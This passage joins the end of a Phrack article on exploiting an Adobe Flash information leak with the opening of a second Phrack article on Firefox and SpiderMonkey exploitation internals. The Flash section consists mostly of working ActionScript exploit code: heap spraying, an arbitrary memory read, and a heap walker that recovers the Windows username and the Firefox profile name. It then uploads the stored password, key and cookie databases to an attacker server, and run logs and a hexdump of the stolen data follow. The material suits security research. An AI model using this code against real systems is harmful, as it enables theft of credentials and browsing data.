As it was previously mentioned, the exploit assumes that heap spraying results in address 0x0a000000, an otherwise randomly chosen high heap address, falling within the container memory region of one of the 64 large vectors. This is depicted in the above schematic where address 0x0a000000 contains 0x0a000000, the value assigned in all vectors' elements. Notice that, in this case, dereferencing memory address 0x0a000000 returns 0x0a000000, the memory address itself. Let's assume that, for a quite large value of `j', say `j = 0x01000000', `&profiles[j]' happens to fall at `0x0a000000 + Y', then `profiles[j] = 0x0a000000' and consequently three doublewords will be leaked from 0x0a000000. So far, so good.

By repeatedly calling `getABRProfileInfoAtIndex()' with decreasing values of `j', `&profiles[j]' will eventually point to `0x0a000000 ‑ X + 4', `profiles[j]' will be equal to `0x22222222' and three doublewords will be leaked from that address. However, recall that this is the address of a C++ object (`_gc' member in `ListData' shown above), and consequently the first leaked doubleword will hold the object's virtual function table address. Additionally, `&profiles[j + 1]' is the pointer to the first element of the same container memory region. Notice that we don't know, and we shouldn't care, which of the 64 vectors this container belongs to.

We now have two assets at hand:

* A virtual function table pointer which can be used to determine the Flash Player module base address.

* An easy way of reading arbitrary memory addresses. For each vector `v' in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call `getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value as the second argument. This will result in 3 doublewords being leaked from 0xdeadbeef.

All this may be confusing even if you are the most experienced exploit writer in the world. Take your time and think about it.

The following function in "WorkerMain.as" implements the logic described so far. When it completes, `this._idx' is the value of `j + 1', and `this._vtable_address' is the leaked address of the C++ object's virtual function table.

‑‑‑ snip ‑‑‑

private function _get_vtable_and_index():Boolean

{

var ret:Boolean = false;

var pi:AVABRProfileInfo;

var idx:uint = 0x01000000;

// If the first attempt to leak data returns 0, then we have either

// landed on an invalid heap address (i.e. not covered by any of the

// large vectors), or we're running on a very old Flash Player that

// doesn't support HLS streaming.

pi = this._source.getABRProfileInfoAtIndex(0, idx); if(pi.bitsPerSecond != 0)

{

while(pi.bitsPerSecond == 0x0a000000)

{

idx ‑= 1;

pi = this._source.getABRProfileInfoAtIndex(0, idx); }

this._idx = idx + 1;

this._vtable_address = pi.bitsPerSecond;

ret = true;

}

return ret;

}

‑‑‑ snip ‑‑‑

Reading a doubleword from an arbitrary address, it's then just a matter of calling the function below (also defined in "WorkerMain.as").

‑‑‑ snip ‑‑‑

// Read a doubleword from the given memory address.

private function _read_dword(addr:uint):uint

{

var pi:AVABRProfileInfo;

var ret:uint;

...

// (1)

for(var i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr;

// (2)

pi = this._source.getABRProfileInfoAtIndex(0, this._idx);

...

ret = pi.bitsPerSecond;

return ret;

}

‑‑‑ snip ‑‑‑

At (1) we iterate over the 64 heap spray vectors and set their first element to the address from where we want to read a doubleword. We then call the vulnerable API, at (2), with the appropriate second argument that results in some vector's first element being dereferenced as a memory address. The value in `pi.bitsPerSecond' returns the leaked value.

Moving one level up in the abstraction layers, the following function, implemented on top of `_read_dword()' given above, can be used to read arbitrary amounts of data from a given memory address. Its usefulness will become apparent later, but you can pretty much guess.

‑‑‑ snip ‑‑‑

// Read an arbitrary amount of bytes starting from the given memory

// address. Note that we can't read less than 4 bytes at a time, so,

// less than `len' bytes may be returned.

private function _read(addr:uint, len:uint):String

{

var dw:uint;

var raw:String = "";

// Align at a multiple of 4 (_downwards_, _not_ upwards) and then

// subtract the number of bytes dereferenced every time the bug is

// triggered. We do that in an attempt to avoid hitting unmapped

// memory regions.

len = len & ~3;

if(this._readahead > 0)

len ‑= this._readahead;

for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4) {

dw = this._read_dword(addr);

raw += String.fromCharCode(dw & 0x000000ff) + String.fromCharCode((dw & 0x0000ff00) >>> 8) + String.fromCharCode((dw & 0x00ff0000) >>> 16) + String.fromCharCode((dw & 0xff000000) >>> 24); }

return raw;

}

‑‑‑ snip ‑‑‑

‑‑‑‑‑‑[ 3.2.3 Discovering Flash Player base address

As it was mentioned in 3.2.2, method `_get_vtable_and_index()', among other things, returns the address of a virtual function table discovered during the early steps of the exploit. Computing the base address of the Adobe Flash Player plug‑in is now a matter of aligning the virtual table address to the previous multiple of the page size, reading a doubleword from that location and checking if the "MZ" signature (0x5a4d) is there. If not, 0x1000 is subtracted from the address in question and the process is repeated. Method `_get_flash_address()' in "WorkerMain.as" implements the logic described in this paragraph.

‑‑‑ snip ‑‑‑

// Attempt to locate the Flash Player base address.

private function _get_flash_address():void

{

var addr:uint = this._vtable_address & 0xfffff000;

var dw:uint;

dw = this._read_dword(addr);

while((dw & 0x0000ffff) != 0x00005a4d)

{

addr ‑= 0x1000;

dw = this._read_dword(addr);

}

this._flash_address = addr;

}

‑‑‑ snip ‑‑‑

When `_get_flash_address()' completes, `this._flash_address' will hold the base address of the Adobe Flash Player plug‑in.

‑‑‑‑‑‑[ 3.2.4 Discovering the CRT heap address

Being able to to read doublewords from arbitrary memory addresses, means one can easily locate the address of the Microsoft Windows heap used by the Adobe Flash plug‑in process. The following assembly snippet can be found in `__heap_init()', a function found in most PE executables' early initialization code.

‑‑‑ snip ‑‑‑

call ds:HeapCreate

mov __crtheap, eax

‑‑‑ snip ‑‑‑

The variable named `__crtheap' is a global holding a `HANDLE' to the CRT heap. However, heap `HANDLE' values are, in fact, heap base addresses. An attacker may exploit the information leak vulnerability to read the contents of this global variable and discover the sandboxed child's CRT heap base address. Taking into account the information presented in the previous sections, it's quite trivial to achieve this:

* Set `v[0] = &__crtheap' for each heap spray vector `v'.

* Trigger the vulnerability by calling `getABRProfileInfoAtIndex()'.

The value of `&__crtheap' can easily be located by searching the Flash plug‑in's text segment for the following byte pattern. The wildcards marked with "??" correspond to the address of `HeapCreate()'. The doubleword that follows this pattern is `&__crtheap'.

68 00 10 00 00 50 ff 15 ?? ?? ?? ?? a3

The following function, found in the exploit's "WorkerMain.as", is responsible for discovering the CRT heap address. It makes use of `this._read_dword()', the function that abstracts the vulnerability details away and allows the AS3 programmer to read data from arbitrary memory addresses.

‑‑‑ snip ‑‑‑

// Locate the address of `__crtheap', the variable that points to the

// process' main heap, and dereference it to read the heap's address.

private function _get_heap_address():void

{

var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff\x15....\xa3/; var addr:uint = this._flash_address;

var raw:String;

var i:int;

raw = this._read(addr, 0x1000)

while((i = raw.search(match)) < 0)

{

addr += 0x1000;

raw = this._read(addr, 0x1000)

}

addr += i + 13;

addr = this._read_dword(addr);

this._heap_address = this._read_dword(addr); this._parser = new CRTHeapParser(this._read_dword);

}

‑‑‑ snip ‑‑‑

With this in hand, one may walk all heap allocations and read all data reachable in the heap at the time the exploit executes. Notice that, the GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft Windows CRT heap.

‑‑‑‑‑‑[ 3.2.5 Walking CRT heap allocations

Once the CRT heap address has been leaked, walking the whole heap is pretty straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt have done a great work at documenting the Microsoft Windows heap internals ([13], [14], [15]).

The Windows heap parsing logic is implemented in "CRTHeapParser.as" in class `CRTHeapParser'. The class is quite abstract, the reader can use it in any information leak vulnerability. It effectively implements the equivalent of `HeapWalk()' in AS3. The constructor expects a single argument, a function used to read a doubleword from an arbitrary memory address (see the definition of `_read_dword()' later in this section).

‑‑‑ snip ‑‑‑

this._parser = new CRTHeapParser(this._read_dword);

‑‑‑ snip ‑‑‑

Once a `CRTHeapParser' instance has been created, the heap can be walked using the method `walk()' as shown below:

‑‑‑ snip ‑‑‑

this._parser.walk(this._heap_address, this._get_username_cb); ‑‑‑ snip ‑‑‑

The first argument is the address of heap to walk (a Windows application may have more than one heap) while the second is a callback to call for each discovered heap allocation. The name of the shown callback function will be explained later.

‑‑‑ snip ‑‑‑

private function _get_username_cb(address:uint, size:uint):Boolean {

...

}

‑‑‑ snip ‑‑‑

The callback receives two arguments. The address of a heap allocation and the allocation size. It's up to the callback implementer to read the contents of this heap allocation (using the information leak exploit) and discover its contents.

‑‑‑ snip ‑‑‑

// Read a doubleword from the given memory address.

private function _read_dword(addr:uint):uint

{

var pi:AVABRProfileInfo;

var ret:uint;

// Check if the readahead crosses a page boundary. If yes, then the

// next page may be unmapped.

var cross_page:Boolean = ((addr + this._readahead) & 0xfffff000) != (addr & 0xfffff000);

// If so, subtract the readahead from the address to be dereferenced

// and return `pi.height' instead of `pi.bitsPerSecond' :)

if(cross_page && this._readahead > 0)

addr ‑= this._readahead;

for(var i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr;

pi = this._source.getABRProfileInfoAtIndex(0, this._idx);

if(cross_page && this._readahead > 0)

ret = pi.height;

else

ret = pi.bitsPerSecond;

return ret;

}

‑‑‑ snip ‑‑‑

As it has already been mentioned, the above is, actually, the equivalent of `HeapWalk()' [19] implemented by abusing our read primitive.

‑‑‑‑‑‑[ 3.2.6 Reading arbitrary files

Now that we have a powerful arbitrary read primitive at hand, it's time we examine what can be done with it. An obvious potential is dumping the memory contents of the sandboxed Adobe Flash Player process. However, unless sensitive information is already present in the process' memory, doing this won't yield any interesting results.

What if one could force the sandboxed child load and map arbitrary files in memory? Assuming a file has been mapped somewhere in the process' heap, discovering its contents is just a matter of walking the heap and locating the heap region that carries the contents of the file.

The M3U8 specification mentions the following:

3.4.4. EXT‑X‑KEY

Media segments MAY be encrypted. The EXT‑X‑KEY tag specifies how to decrypt them. It applies to every media URI that appears between it and the next EXT‑X‑KEY tag in the Playlist file (if any). Its format is:

#EXT‑X‑KEY:<attribute‑list>

...

If the encryption method is AES‑128, the URI attribute MUST be present.

...

The URI attribute specifies how to obtain the key. Its value is a quoted‑string that contains a URI [RFC3986] for the key.

If the URI specifies a local file, the Flash Player child will happily load and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox allows reading arbitrary files from the filesystem). A relatively big file will occupy a heap segment of its own, making it easier for an attacker to discover its contents.

Ideally, an attacker would like to load in memory the SQLite database holding the Firefox stored passwords. However, this is not as straightforward as it may sound at first. On Microsoft Windows, these databases reside at the following location:

C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\ signons.sqlite

The path above contains two unknown quantities, the victim's username and the Firefox profile name which is a random identifier produced during installation. Before being able to load these files, one needs to find a way to determine the unknown values first.

Since we already have an arbitrary read, as well as a more advanced heap walking abstraction, at hand, figuring out the victim's username is quite easy. On Microsoft Windows, environment variables lie somewhere at the very beginning of the process heap, so, our heap walker will visit this allocation too. Assuming we have successfully leaked the address of the main heap as described above, leaking the victim's username as simple as calling `walk()' with a callback function that uses regular expressions to locate the string ":\Users\xxx\AppData" in the heap data.

‑‑‑ snip ‑‑‑

// Leak heap data and look for a pattern that matches the username in

// the target system. We need that in order to access files within the

// user's home directory.

private function _get_username_cb(address:uint, size:uint):Boolean {

var matches:Array;

var ret:Boolean = false;

// `_read()' is the function implementing the read primitive.

var raw:String = this._read(address, size);

matches = raw.match(/:\\Users\\([^\\]*)\\AppData/); if(matches != null)

{

this._username = matches[1];

ret = true;

}

return ret;

}

private function _get_username():Boolean

{

return this._parser.walk(this._heap_address, this._get_username_cb); }

‑‑‑ snip ‑‑‑

If `_get_username_cb()' succeeds, the leaked username is stored in `this._username'.

This whole process may be repeated to first load "profiles.ini", the file that holds the randomly generated Mozilla Firefox profile name and then the SQLite databases holding the keys and passwords. The content's of the aforementioned files can then be dumped using `this._parser.walk()' with different callback methods as shown below.

‑‑‑ snip ‑‑‑

// Search for the random Firefox profile name in heap data.

private function _get_profile_name_cb(address:uint, size:uint):Boolean {

var matches:Array;

var ret:Boolean = false;

var raw:String = this._read(address, size);

matches = raw.match(/Path=Profiles[\/\\]([[:print:]]+)/); if(matches != null)

{

this._profile_name = matches[1];

ret = true;

}

return ret;

}

private function _get_profile_name():Boolean

{

...

this._parser.walk(this._heap_address, this._get_profile_name_cb); ...

}

‑‑‑ snip ‑‑‑

Last but not least, the `_upload_data_cb()' is used in a final call to `walk()' to upload the full heap contents to a server of the attacker's choosing:

‑‑‑ snip ‑‑‑

// Collects data and uploads it on our server.

private function _upload_data_cb(address:uint, size:uint):Boolean {

var raw:String = this._read(address, size);

if(this._mem == null)

this._mem = "";

this._mem += raw;

// Upload data in blocks of `DUMPSZ' bytes.

if(this._mem.length >= this.DUMPSZ)

{

this._con.msg("Uploading block of " + this._mem.length + " bytes");

var b64:Base64Encoder = new Base64Encoder(); b64.encode(raw);

raw = b64.toString();

var vars:URLVariables = new URLVariables(); vars.id = this._get_uniqid();

vars.data = raw;

var req:URLRequest = new URLRequest(this.DUMPURL); req.data = vars;

req.method = URLRequestMethod.POST;

var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.load(req);

this._mem = "";

}

// Return `false' so that `parser.walk()' walks the whole heap.

return false;

}

private function _steal_cookies_and_passwords():void

{

...

// Dump the whole heap :)

this._parser.walk(this._heap_address, this._upload_data_cb); }

‑‑‑ snip ‑‑‑

The exploit's server component "dumper.php" will store the uploaded data in a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite databases holding keys and passwords have succesfully been uploaded to the attacker's server.

‑‑‑‑‑‑[ 3.2.7 ‑ Overall exploit methodology

Summing up, the complete exploitation process consists of the steps given below. The interested reader is referred to the corresponding sections of this article for a detailed analysis of each step. Briefly the attached exploit:

* Performs some standard heap spraying and attempts to determine if it was successful or not.

* Abuses the layout of AS3 `Vector<uint>' data containers to leak information from arbitrary absolute memory addresses. In this step, the address of a virtual function table is also discovered.

* Discovers the Adobe Flash plug‑in's base address.

* Walks the CRT heap once to locate the environment variables of the victim process. Simple pattern matching is used to locate the username of the victim.

* Asks the exploit's server component to return an M3U8 manifest that results in the AVM loading "profiles.ini" several times in the victim process memory.

* Walks the CRT heap once again to locate "profiles.ini" contents and read the name of the default profile. Most (all) users use just a single Firefox profile.

* Asks the exploit's server component to return an M3U8 manifest that loads "signons.sqlite", "key3.db" and "cookies.sqlite" in the victim's memory.

* Walks the CRT heap again and uploads all heap allocations to a server of the attacker's choosing. Some of these allocations contain the SQLite database contents.

The author has run several experiments and has verified that the above exploitation works as expected.

‑‑‑‑‑‑[ 3.2.8 ‑ Logz

This is how the user's browser looks like when debugging output is enabled in the exploit's code:

‑‑‑ snip ‑‑‑

(2016‑01‑26 01:04:42) [*] Will now load worker from WorkerMain.swf (2016‑01‑26 01:04:42) [*] New worker started

(2016‑01‑26 01:04:42) [*] Preparing stream

(2016‑01‑26 01:04:54) [*] Readahead size is 8

(2016‑01‑26 01:04:54) [*] Spraying the heap

(2016‑01‑26 01:04:56) [*] GC virtual table @0x67cadaf0 (2016‑01‑26 01:04:56) [*] Flash player base address @0x67010000 (2016‑01‑26 01:05:07) [*] __crtheap @0x4e0000

(2016‑01‑26 01:05:07) [*] Matched Windows username "huku" (2016‑01‑26 01:05:07) [*] Preparing to leak Firefox profile name (2016‑01‑26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\ master‑6c616c616b6973‑‑99643158.m3u8"

(2016‑01‑26 01:05:07) [*] Sleeping for a while...

(2016‑01‑26 01:05:19) [*] Matched Mozilla Firefox profile name "liqso3kl.default"

(2016‑01‑26 01:05:19) [*] Preparing to steal cookies and passwords (2016‑01‑26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\ master‑6c616c616b6973‑6c6971736f336b6c2e64656661756c74‑efa5759b.m3u8" (2016‑01‑26 01:05:19) [*] Sleeping for a while...

(2016‑01‑26 01:05:31) [*] Uploading block of 54040 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 383168 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 33544 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 36096 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 36280 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 97608 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 34976 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 131064 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 36768 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 41976 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 40960 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 40960 bytes (2016‑01‑26 01:05:32) [*] Uploading block of 42336 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 131064 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 36856 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 36856 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 32768 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 107296 bytes (2016‑01‑26 01:05:33) [*] Uploading block of 44232 bytes (2016‑01‑26 01:05:34) [*] Uploading block of 528400 bytes (2016‑01‑26 01:05:34) [*] Uploading block of 528376 bytes (2016‑01‑26 01:05:35) [*] Uploading block of 528376 bytes (2016‑01‑26 01:05:35) [*] Freeing worker resources

(2016‑01‑26 01:05:35) [*] Marking target

(2016‑01‑26 01:05:35) [*] Done

‑‑‑ snip ‑‑‑

On the attacker's server, a binary file holding exfiltrated data is created in "/tmp". The SQLite databases holding the victim's keys and passwords can also be found there.

‑‑‑ snip ‑‑‑

$ hexdump ‑C /tmp/154a61b6c8227ae0acfdfb974141dd6f.bin | grep SQLite ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| ‑‑‑ snip ‑‑‑

‑‑[ 4 ‑ Conclusion

The author hopes to have presented an interesting technique of exfiltrating data from a victim's computer. The only requirement was an arbitrary read primitive achieved by exploiting a standard relative information leak vulnerability. The presented methodology is generic and may be used to exploit similar Adobe Flash vulnerabilities. Additionally, similar techniques may be applicable to other client side technologies.

Vulnerabilities, uninteresting at first sight, just like this one, may turn out to be promising and effective. Once a victim's passwords have been stolen (e.g. e‑mail credentials), accessing the target's computer or mobile devices may also be possible in post‑exploitation scenarios.

As we are moving towards the era of data‑only attacks, both in user‑land and kernel‑land, such attacks may become more and more interesting from a security researchers perspective. We look forward to bypassing any crappy mitigation that will be implemented in future Adobe Flash versions.

‑‑[ 5 ‑ Thanks

As you might know, writing a Phrack article is quite a hard work and requires dedication. This paper would have never been completed if it wasn't for the help and support of certain people. This section is dedicated to them.

First and foremost I would like to thank the Phrack Staff for kicking my ass and motivating me to write this article. In a world of conferences and fame, Phrack has managed to stay alive with original and impressive content. It was the least I could to do help. It's always an honor for me seeing my articles published in Phrack.

I would like to thank nemo and argp for their suggestions and insightful comments. My thanks also go to my team at CENSUS (and a couple of other persons who would like to remain anonymous) for giving me the chance to work on this cool stuff and spend time on Adobe Flash internals. It's always cool to be in a team where "client side exploitation" means arbitrary code execution and not XSS :)

Chris Valasek and Tarjei Mandt for their work on Windows heap allocators. Life would have been harder without their work.

Last but not least, greetings fly to my grhack.net collegues and !fapperz ;)

‑‑[ 6 ‑ References

[01] http://www.zerodayinitiative.com/advisories/ZDI‑15‑007/

[02] https://twitter.com/kernelbof/status/629832855842091008

[03] http://www.cvedetails.com/top‑50‑products.php

[04] https://blog.zimperium.com/

stagefright‑vulnerability‑details‑stagefright‑detector‑tool‑released/ [05] http://flex.apache.org/installer.html

[06] http://www.adobe.com/devnet/flex/flex‑sdk‑download.html

[07] http://www.w3.org/TR/webstorage/

[08] http://www.w3.org/TR/webdatabase/

[09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/

flash/external/ExternalInterface.html

[10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/

flash/net/SharedObject.html

[11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming

[11] http://tools.ietf.org/html/draft‑pantos‑http‑live‑streaming‑08

[12] https://msdn.microsoft.com/en‑us/library/windows/desktop/

aa366710(v=vs.85).aspx

[13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf

[14] http://illmatics.com/Understanding_the_LFH.pdf

[15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf

[16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html

[17] https://www.adobe.com/support/flashplayer/debug_downloads.html

[18] https://0b3dcaf9‑a‑62cb3a1a‑s‑sites.googlegroups.com/site/

zerodayresearch/smashing_the_heap_with_vector_Li.pdf [19] https://msdn.microsoft.com/en‑us/library/windows/desktop/

aa366710(v=vs.85).aspx

[20] http://haxe.org

‑‑[ 7 ‑ Codez

begin 644 flash_hardcode_porn.tgz M'XL(`%A6X58``^U]_6,:‑])P?RU_A4I]!SBP@(T='PEI79LD?NNOQSA‑>B9' end

OR'LYEH? The Shadow over Firefox

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0e of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ OR'LYEH? The Shadow over Firefox ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ argp ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ argp@grhack.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Firefox and SpiderMonkey internals

2.1 ‑ Representation in memory

2.2 ‑ Generational garbage collection (GGC)

2.3 ‑ jemalloc (and GGC)

3 ‑ Firefox's hardening features

3.1 ‑ PresArena

3.2 ‑ jemalloc heap sanitization

3.3 ‑ Garbage collection

3.4 ‑ Sandbox

4 ‑ The shadow (over Firefox) utility

5 ‑ Exploitation

5.1 ‑ ArrayObjects inside ArrayObjects

5.2 ‑ jemalloc feng shui

5.3 ‑ xul.dll base leak and our location in memory

5.4 ‑ EIP control

5.5 ‑ Arbitrary memory leak

5.6 ‑ Use‑after‑free bugs

6 ‑ Conclusion

7 ‑ References

8 ‑ Source code

‑‑[ 1 ‑ Introduction

In this paper I will elaborate and expand on my Infiltrate 2015 talk of the same title [INF]. Even a full hour‑long conference talk is hardly enough to present all the necessary background details or the full technical depth of an exploitation subject. Therefore, I was quite happy when the Phrack Staff approached me for writing a paper based on my conference talk.

My goal for this paper is to define a reusable exploitation methodology against the latest versions of the Mozilla Firefox browser in the context of the modern protections provided by most operating systems. The term 'exploitation' here refers to leveraging memory corruption vulnerabilities (of different types, i.e, buffer overflows, use‑afterfrees, type confusions). By 'reusable methodology' I mean an attack pattern that can be applied towards the exploitation of most vulnerabilities and vulnerability classes. Although the material in this paper are from the Windows version of Firefox, to the best of my knowledge the included techniques can be used on all platforms supported by Firefox.

Specifically, for all techniques and included code excerpts I have used the latest version of Firefox (41.0.1 at the time of writing) on Windows 8.1 x86‑64. Please note that Firefox stable on Windows (even on a x86‑64 system) is x86.

‑‑[ 2 ‑ Firefox and SpiderMonkey internals

I will start by explaining some Firefox and SpiderMonkey internals that are required for the exploitation methodology. SpiderMonkey (Firefox's JavaScript engine) uses C++ variables of type JS::Value (or simply jsval) to represent strings, numbers (both integers and doubles), objects ( including arrays and functions), booleans, and the special values null and undefined [JSV]. When in JavaScript (JS) a string for example is assigned to a variable or an object's attribute, the runtime must be able to query its type. Therefore, jsvals must follow a representation that encodes both values and types. SpiderMonkey uses the 64‑bit IEEE‑754 encoding [IFP] for this purpose. Specifically, jsval doubles use the full 64 bits for their value. All other jsvals (integers, strings, etc) are encoded with 32 bits for a tag specifying their type and 32 bits for their value. In Firefox's source code we can find the constants for the jsval types at js/public/Value.h:

#define JSVAL_TYPE_DOUBLE ((uint8_t)0x00)

#define JSVAL_TYPE_INT32 ((uint8_t)0x01)

#define JSVAL_TYPE_UNDEFINED ((uint8_t)0x02)

#define JSVAL_TYPE_BOOLEAN ((uint8_t)0x03)

#define JSVAL_TYPE_MAGIC ((uint8_t)0x04)

#define JSVAL_TYPE_STRING ((uint8_t)0x05)

#define JSVAL_TYPE_SYMBOL ((uint8_t)0x06)

#define JSVAL_TYPE_NULL ((uint8_t)0x07)

#define JSVAL_TYPE_OBJECT ((uint8_t)0x08)

These constants are then used to get the 32‑bit jsval tags for the different types:

#define JSVAL_TAG_CLEAR ((uint32_t)(0xFFFFFF80))

#define JSVAL_TAG_INT32 ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32)) #define JSVAL_TAG_UNDEFINED ((uint32_t)(JSVAL_TAG_CLEAR | \

JSVAL_TYPE_UNDEFINED))

#define JSVAL_TAG_STRING ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING)) #define JSVAL_TAG_SYMBOL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL)) #define JSVAL_TAG_BOOLEAN ((uint32_t)(JSVAL_TAG_CLEAR | \

JSVAL_TYPE_BOOLEAN))

#define JSVAL_TAG_MAGIC ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC)) #define JSVAL_TAG_NULL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL)) #define JSVAL_TAG_OBJECT ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT))

When the SpiderMonkey runtime queries a jsval for its type, if its 32‑bit tag value is greater than 0xFFFFFF80 (the JSVAL_TAG_CLEAR define from above) then the 64 bits are interpreted as a jsval of the corresponding type. If the tag value is less or equal to 0xFFFFFF80 then the 64 bits are interpreted as an IEEE‑754 double. An important note at this point that I will refer to later on is that there is no IEEE‑754 64‑bit double that corresponds to a 32‑bit encoded value greater than 0xFFF00000.

Apart from jsvals, SpiderMonkey also uses complex objects of type JSObject [JSO] to represent various JavaScript objects (jsobjects). In essence these are mappings from names (object properties) to values. To avoid expensive dictionary lookups from these properties to their corresponding values (which are stored in an array of the jsobject) SpiderMonkey uses what is called a shape. Shapes are structural descriptions that point directly from property names to the array indexes that hold their values.

The JSObject class uses the NativeObject class for its internal implementation (to be precise the NativeObject class inherits from the JSObject class). These complex objects also contain an inline dynamicallysized (but up to a limit) array that is used to store named properties, and elements of JavaScript arrays and typed arrays. The first (named properties) are indexed by the slots_ pointer, and the latter (array elements) by the elements_ pointer. The actual storage can be either the inline jsobject storage or a dynamically allocated region on the heap.

Moreover, jsobject arrays have a header; this header is described by the ObjectElements class. The definition of the JSObject class can be found at js/src/jsobj.h, and those of NativeObject and ObjectElements at js/src/vm/NativeObject.h. Below I will discuss all of them together (think of it as pseudocode) and only their relevant to the paper fields:

class NativeObject : public JSObject

{

/*

* From JSObject; structural description to avoid dictionary * lookups from property names to slots_ array indexes. */

js::HeapPtrShape shape_;

/*

* From JSObject; the jsobject's type (unrelated to the jsval * type I described above).

*/

js::HeapPtrTypeObject type_;

/*

* From NativeObject; pointer to the jsobject's properties' * storage.

*/

js::HeapSlot *slots_;

/*

* From NativeObject; pointer to the jsobject's elements' storage. * This is used by JavaScript arrays and typed arrays. The * elements of JavaScript arrays are jsvals as I described them * above.

*/

js::HeapSlot *elements_;

/*

* From ObjectElements; how are data written to elements_ and * other metadata.

*/

uint32_t flags;

/*

* From ObjectElements; number of initialized elements, less or * equal to the capacity (see below) for non‑array jsobjects, and * less or equal to the length (see below) for array jsobjects. */

uint32_t initializedLength;

/*

* From ObjectElements; number of allocated slots (for object * properties).

*/

uint32_t capacity;

/*

* From ObjectElements; the length of array jsobjects. */

uint32_t length;

};

In the following sections of this paper I am going to refer back to this as 'jsobject' (or the 'jsobject class'), which although isn't technically correct (as I have explained above) will make the discussion simpler.

‑‑‑‑[ 2.1 ‑ Representation in memory

In order to get a better insight, let's look at the representation of jsvals and jsobjects in memory. We have the following JavaScript code:

var arr = new Array(); // an array jsobject (ArrayObject)

arr[0] = 0x40414140; // [A] an integer

arr[1] = "Hello, Firefox!"; // [B] a string

arr[2] = 0x42434342;

arr[3] = true; // [C] a boolean

arr[4] = 0x44454544;

arr[5] = new Array(666); // [D] an object

// add some elements to the array

arr[5][0] = 666;

arr[5][1] = "sixsixsix";

arr[5][2] = 0.666;

arr[5][3] = false;

arr[5][4] = new Array(666);

arr[6] = 0x46474746;

arr[7] = null;

arr[8] = 0x48494948;

// [E] a typed array jsobject holding unsigned 32‑bit integers

arr[9] = new Uint32Array(128);

// let's fill the typed array with some content

// total size: 128 * 4 == 512

for(var j = 0; j < 128; j += 2)

{

arr[9][j] = 0x61636361;

arr[9][j + 1] = 0x71737371;

}

arr[10] = 0x50515150;

arr[11] = 1.41424344; // [F] a double

arr[12] = 0x52535352;

// [G] and a bigger string

arr[13] = "Hello, Firefox, and hello again";

In WinDbg we search for our first integer marker value, that is 40414140, and then we inspect the elements of the array we have defined:

